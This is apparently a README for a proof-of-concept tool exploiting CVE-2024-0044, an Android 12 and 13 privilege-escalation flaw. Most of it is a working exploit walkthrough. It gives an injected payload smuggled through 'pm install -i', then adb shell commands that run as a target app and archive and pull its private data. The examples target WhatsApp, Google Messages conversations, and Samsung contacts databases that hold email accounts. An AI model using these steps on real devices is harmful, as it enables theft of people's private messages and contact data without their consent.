CVE 2024 0044

CVE-2024-0044, identified in the createSessionInternal function of the PackageInstallerService.java file, is a high-severity vulnerability affecting Android versions 12 and 13. This vulnerability allows an attacker to perform a "run-as any app" attack, leading to local escalation of privilege without requiring user interaction.The issue arises due to improper input validation within the createSessionInternal function. An attacker can exploit this by manipulating the session creation process, potentially gaining unauthorized access to sensitive data and performing unauthorized actions on the affected device​

The exploit was discovered by Meta security

The proof of concept was summarised and shared by Tiny hack

CVE-2024-0044: run-as any app @Pl4int3xt

options:
  -h, --help  show this help message and exit
  -P P        package name (default: None)
  -A A        apk file path (default: None)

-P is used to specify the target package name you want to run as

-A to specify the apk file to push in the device

Exploitation

Run the tool python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk

A payload.txt file like this will be generated

PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

The tool automates some parts and other parts are manual. You can exit after generating the payload and run all the commands manually or you can continue with the instructions

Next you'll need to connect to your device using adb shell and paste in the payload and make sure you get a Success message back after the last command

pl4int3xt ~>  adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success

Next we get the whatsapp data using the following commands

pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

Create a temporary directory: mkdir /data/local/tmp/wa/

Create a placeholder for a tar file: touch /data/local/tmp/wa/wa.tar

Set wide-open permissions: chmod -R 0777 /data/local/tmp/wa/ to ensure any user can read, write, and execute within this directory.

Switch user context: run-as victim to gain the same permissions as the "victim" user.

Archive the target application's data: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, creating a tarball of the WhatsApp data directory.

Finally pull the data

adb pull /data/local/tmp/wa/wa.tar

You can extract the data using 7z or any other tool

You can use Whatsapp chat exporter to convert it to HTML

This allows you to get whatsapp data without a root access on your device

Pulling google messages

Just change the package name as follows

plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk

Follow the above instructions and after pulling the wa.tar file untar it and open the conversations in com.google.android.apps.messaging/databases/bugle_db using sqlitebrowser or any other tool

Pulling contacts

Tested for samsung device. For other devices check the package name for the contacts provider.

plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk

Follow the above instructions and after pulling the wa.tar file untar it and open the contacts in com.samsung.android.providers.contacts/databases/contacts2.db using sqlitebrowser or any other tool. The db file contains all the user email accounts info with the contacts list
